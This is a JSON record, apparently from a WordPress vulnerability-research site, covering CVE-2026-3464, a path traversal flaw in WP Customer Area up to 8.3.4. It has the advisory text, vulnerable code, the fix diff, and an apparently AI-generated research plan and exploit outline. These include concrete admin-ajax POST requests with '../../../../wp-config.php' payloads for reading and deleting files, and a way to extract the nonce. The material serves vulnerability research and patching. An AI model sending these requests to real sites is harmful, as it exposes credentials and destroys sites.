[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fjI4nbPjk6f0L0h7WvClLpqh2jCMI_dh5SW6xe47OgIE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-3464","wp-customer-area-authenticated-subscriber-arbitrary-file-readdeletion-via-ajaxattachfile","WP Customer Area \u003C= 8.3.4 - Authenticated (Subscriber+) Arbitrary File Read\u002FDeletion via ajax_attach_file","The WP Customer Area plugin for WordPress is vulnerable to arbitrary file read and deletion due to insufficient file path validation in the 'ajax_attach_file' function in all versions up to, and including, 8.3.4. This makes it possible for authenticated attackers with a role that an administrator grants access to (e.g., Subscriber) to to read the contents of arbitrary files on the server, which can contain sensitive information, or delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).","customer-area",null,"\u003C=8.3.4","8.3.5","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-04-17 04:24:04","2026-04-17 16:26:50",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Faadf1f4c-c852-4167-9b09-7e679a953725?source=api-prod",1,[22,23,24,25,26,27,28],"customer-area.php","readme.txt","src\u002Fphp\u002Fcore-addons\u002Fcapabilities\u002Fcapabilities-addon.class.php","src\u002Fphp\u002Fcore-addons\u002Finstaller\u002Finstaller-addon.class.php","src\u002Fphp\u002Fcore-addons\u002Finstaller\u002Ftemplates\u002Finstaller-part-setup-wizard.template.php","src\u002Fphp\u002Fcore-addons\u002Fprivate-file\u002Fprivate-file-default-handlers.class.php","src\u002Fphp\u002Fcore-classes\u002Faddon-edit-content-page.class.php","researched",false,3,"# Research Plan: CVE-2026-3464 - WP Customer Area Path Traversal\n\n## 1. Vulnerability Summary\nThe **WP Customer Area** plugin (versions \u003C= 8.3.4) is vulnerable to an authenticated path traversal vulnerability within the `ajax_attach_file` function. The vulnerability arises from insufficient validation of the file path parameter when attaching files to \"Private File\" posts via AJAX. An attacker with minimal permissions (e.g., Subscriber, provided an administrator has granted the `cuar_add_private_files` or `cuar_edit_private_files` capability) can read or delete arbitrary files on the server by supplying relative paths (e.g., `..\u002F..\u002F..\u002F..\u002Fwp-config.php`).\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action**: `cuar_attach_file` (inferred from the function name `ajax_attach_file` mentioned in the CVE).\n- **HTTP Method**: `POST`\n- **Vulnerable Parameter**: `file` (or `path` \u002F `filename`). Based on `src\u002Fphp\u002Fcore-addons\u002Fprivate-file\u002Fprivate-file-default-handlers.class.php`, the handler for `ftp-folder` and `server` methods processes file paths.\n- **Authentication**: Authenticated. Requires a user with a role possessing `cuar_add_private_files` or `cuar_edit_private_files` (e.g., a Subscriber if configured in the plugin settings).\n- **Preconditions**:\n    - The \"Capabilities\" settings must allow the attacker's role to manage private files.\n    - A valid nonce for the attachment action is required.\n\n## 3. Code Flow\n1.  The user sends a `POST` request to `admin-ajax.php` with the action `cuar_attach_file`.\n2.  The `ajax_attach_file` function (likely in the `private-file` addon) is triggered.\n3.  The function verifies a nonce (e.g., using `check_ajax_referer`).\n4.  The function calls the hook `cuar\u002Fprivate-content\u002Ffiles\u002Fon-attach-file` with the user-supplied `method` and `file` parameters.\n5.  If `method=ftp-folder` is used, `CUAR_PrivateFilesDefaultHandlers::attach_ftp_file` (in `private-file-default-handlers.class.php`) is executed.\n6.  The handler processes the `file` string. If it contains `..\u002F`, it traverses out of the intended directory.\n7.  **Read Vector**: If the attachment is \"added\", the plugin may move\u002Fcopy the file to the post's private storage folder (`wp-content\u002Fcustomer-area\u002Fstorage\u002F`), making it accessible via the plugin's frontend download mechanism.\n8.  **Delete Vector**: When removing an attachment, `CUAR_PrivateFilesDefaultHandlers::remove_attached_local_file` is called, which executes `unlink($filepath)` on the traversed path.\n\n## 4. Nonce Acquisition Strategy\nThe plugin localizes AJAX configurations and nonces for its frontend editor.\n\n1.  **Identify Shortcode**: The \"Create Private File\" or \"Edit Private File\" pages are typically generated using the `[customer-area-edit-content]` or `[customer-area-create-content]` shortcode.\n2.  **Setup Page**: Use WP-CLI to create a page with the frontend creator shortcode:\n    ```bash\n    wp post create --post_type=page --post_title=\"Create File\" --post_status=publish --post_content='[customer-area-create-content]'\n    ```\n3.  **Navigate and Extract**:\n    - Log in as the Subscriber.\n    - Navigate to the newly created page.\n    - The nonce and AJAX config are likely stored in the `cuar_private_files_upload_config` or `cuar_frontend_editor` global JS object.\n    - **JS Retrieval**:\n      ```javascript\n      \u002F\u002F Example targets\n      window.cuar_private_files_upload_config?.nonce\n      window.cuar_private_files_upload_config?.attach_file_nonce\n      ```\n\n## 5. Exploitation Strategy\n\n### Step 1: Privilege Escalation (Setup)\nBy default, Subscribers cannot manage files. We must simulate a configuration where an admin has granted this.\n```bash\nwp cap add 'subscriber' 'cuar_add_private_files'\nwp cap add 'subscriber' 'cuar_edit_private_files'\n```\n\n### Step 2: Attach Arbitrary File (Read Attempt)\n1.  Identify a `post_id` of a Private File post owned by the attacker.\n2.  Send the following request:\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=cuar_attach_file&post_id=[POST_ID]&method=ftp-folder&file=..\u002F..\u002F..\u002F..\u002Fwp-config.php&nonce=[NONCE]\n```\n\n### Step 3: Access the File\n1.  Navigate to the Private File post in the frontend.\n2.  Locate the download link for the newly \"attached\" `wp-config.php`.\n3.  Download and read the contents.\n\n### Step 4: Arbitrary File Deletion (RCE Vector)\nIf the above works, the same traversal can likely be used in the removal action:\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=cuar_remove_file&post_id=[POST_ID]&file=..\u002F..\u002F..\u002F..\u002Fwp-config.php&nonce=[NONCE]\n```\n*Note: The action name might be `cuar_remove_attached_file` or similar based on `remove_attached_local_file` filter hooks.*\n\n## 6. Test Data Setup\n1.  **Users**: Create a user `victim_sub` with the `subscriber` role.\n2.  **Permissions**: Grant `subscriber` the capabilities `cuar_add_private_files` and `cuar_edit_private_files` via WP-CLI.\n3.  **Content**: Create a page with the `[customer-area-create-content]` shortcode.\n4.  **Target File**: Ensure a sensitive file exists (e.g., `wp-config.php`).\n\n## 7. Expected Results\n- **Read**: The `cuar_attach_file` AJAX request returns a success status. A new attachment appears on the Private File post. Downloading this attachment reveals the contents of `wp-config.php`.\n- **Delete**: The removal AJAX request returns success, and the file `wp-config.php` is deleted from the WordPress root directory.\n\n## 8. Verification Steps\n1.  **Check Attachment**: Use WP-CLI to verify the metadata of the post:\n    ```bash\n    wp post meta list [POST_ID]\n    ```\n    Look for keys related to attachments (e.g., `_cuar_attachments`) containing the traversed path.\n2.  **Verify Deletion**:\n    ```bash\n    ls \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n    # Should return \"No such file or directory\" if successful\n    ```\n\n## 9. Alternative Approaches\n- **Method `server`**: If `method=ftp-folder` fails, try `method=server`. The logic in `CUAR_PrivateFilesDefaultHandlers::unique_server_filename` also handles paths.\n- **Frontend Form**: Instead of raw AJAX, use `browser_click` and `browser_type` to fill out the \"Add attachment\" form if the plugin uses a specific UI component (like Summernote or a custom uploader) that can be manipulated via JS.","The WP Customer Area plugin for WordPress (\u003C= 8.3.4) is vulnerable to authenticated arbitrary file read and deletion via path traversal. An attacker with private file management capabilities can manipulate path parameters in AJAX actions to copy sensitive files (like wp-config.php) to a public directory or delete arbitrary files on the server.","\u002F\u002F src\u002Fphp\u002Fcore-addons\u002Fprivate-file\u002Fprivate-file-default-handlers.class.php\npublic function attach_ftp_file($errors, $filename, $initial_filename, $post_id, $method, $extra, $post_type)\n{\n    \u002F\u002F ...\n    $src_folder = trailingslashit($pf_addon->get_ftp_path());\n    $src_path = $src_folder . $initial_filename; \u002F\u002F Line 423: No validation on $initial_filename\n\n    $dest_folder = trailingslashit($po_addon->get_private_storage_directory($post_id, true, true));\n    $dest_path = $dest_folder . $filename;\n\n    if (@copy($src_path, $dest_path)) \u002F\u002F Line 428: Arbitrary file read via copy\n    {\n        if ($extra == 'ftp-move')\n        {\n            @unlink($src_path); \u002F\u002F Line 432: Arbitrary file deletion\n        }\n    }\n\n---\n\n\u002F\u002F src\u002Fphp\u002Fcore-classes\u002Faddon-edit-content-page.class.php\npublic function ajax_delete_image()\n{\n    \u002F\u002F ...\n    \u002F\u002F Line 924: Unvalidated path construction\n    $file_to_delete = $upload_locations['basedir']\n                      . apply_filters('cuar\u002Fprivate-content\u002Feditor-images\u002Fsubdir-upload-location', '\u002Fcustomer-area\u002F')\n                      . $data['subdir'] . '\u002F' . $data['name'];\n\n    \u002F\u002F Check if file exists\n    if (!file_exists($file_to_delete))\n    {\n        wp_send_json_error(__('It looks like the file you tried to delete does not exists.', 'cuar'));\n    }\n    \n    \u002F\u002F ...\n\n    \u002F\u002F Delete file\n    if (!unlink($file_to_delete)) \u002F\u002F Line 953: Arbitrary file deletion via path traversal\n    {\n        wp_send_json_error(__('This file cannot be deleted, please contact site administrator.', 'cuar'));\n    }\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcustomer-area\u002F8.3.4\u002Fsrc\u002Fphp\u002Fcore-addons\u002Fprivate-file\u002Fprivate-file-default-handlers.class.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcustomer-area\u002F8.3.5\u002Fsrc\u002Fphp\u002Fcore-addons\u002Fprivate-file\u002Fprivate-file-default-handlers.class.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcustomer-area\u002F8.3.4\u002Fsrc\u002Fphp\u002Fcore-addons\u002Fprivate-file\u002Fprivate-file-default-handlers.class.php\t2023-07-21 10:39:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcustomer-area\u002F8.3.5\u002Fsrc\u002Fphp\u002Fcore-addons\u002Fprivate-file\u002Fprivate-file-default-handlers.class.php\t2026-04-16 09:37:14.000000000 +0000\n@@ -420,16 +420,44 @@\n         $po_addon = $this->plugin->get_addon('post-owner');\n \n         $src_folder = trailingslashit($pf_addon->get_ftp_path());\n+        $src_folder_real = realpath($src_folder);\n+\n+        $initial_filename = (string) $initial_filename;\n+        $is_invalid_filename = (\n+            $initial_filename === ''\n+            || strpos($initial_filename, \"\\0\") !== false\n+            || basename($initial_filename) !== $initial_filename\n+            || strpos($initial_filename, '\u002F') !== false\n+            || strpos($initial_filename, '\\\\') !== false\n+        );\n+\n         $src_path = $src_folder . $initial_filename;\n+        $src_real = $is_invalid_filename ? false : realpath($src_path);\n+\n+        $src_folder_real_normalized = $src_folder_real !== false ? wp_normalize_path(trailingslashit($src_folder_real)) : '';\n+        $src_real_normalized = $src_real !== false ? wp_normalize_path($src_real) : '';\n+\n+        if (\n+            $src_folder_real === false\n+            || $src_real === false\n+            || strpos($src_real_normalized, $src_folder_real_normalized) !== 0\n+            || !is_file($src_real)\n+            || !is_readable($src_real)\n+        )\n+        {\n+            $errors[] = sprintf(__('An error happened while copying %s from the FTP folder', 'cuar'), $filename);\n+\n+            return $errors;\n+        }\n \n         $dest_folder = trailingslashit($po_addon->get_private_storage_directory($post_id, true, true));\n         $dest_path = $dest_folder . $filename;\n \n-        if (@copy($src_path, $dest_path))\n+        if (@copy($src_real, $dest_path))\n         {\n-            if ($extra == 'ftp-move')\n+            if (isset($extra) && $extra === 'ftp-move')\n             {\n-                @unlink($src_path);\n+                @unlink($src_real);\n             }\n         }\n         else","The exploit requires an authenticated session with a role granted the 'cuar_add_private_files' or 'cuar_edit_private_files' capability (which an administrator can assign to Subscribers). \n\n1. Authenticate as a user with the required permissions and navigate to the frontend 'Create Private File' page to obtain a valid AJAX nonce from the localized JavaScript objects (e.g., `cuar_private_files_upload_config`).\n2. To read arbitrary files: Invoke the `cuar_attach_file` AJAX action via a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php`. Provide `method=ftp-folder` and set the `file` parameter to a traversed path such as `..\u002F..\u002F..\u002F..\u002Fwp-config.php`. The plugin will copy the target file into the private storage directory associated with a post the attacker owns.\n3. Access the copied file by downloading the 'attachment' from the post's frontend page.\n4. To delete arbitrary files: Invoke the `cuar_delete_image` AJAX action (used by the Summernote editor). Provide a path-traversed `subdir` or `name` parameter (e.g., `subdir=..\u002F..\u002F..\u002F..\u002F` and `name=wp-config.php`). The plugin will execute `unlink()` on the resulting path.","gemini-3-flash-preview","2026-04-20 20:14:55","2026-04-20 20:15:46",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","8.3.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcustomer-area\u002Ftags\u002F8.3.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcustomer-area.8.3.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcustomer-area\u002Ftags\u002F8.3.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcustomer-area.8.3.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcustomer-area\u002Ftags"]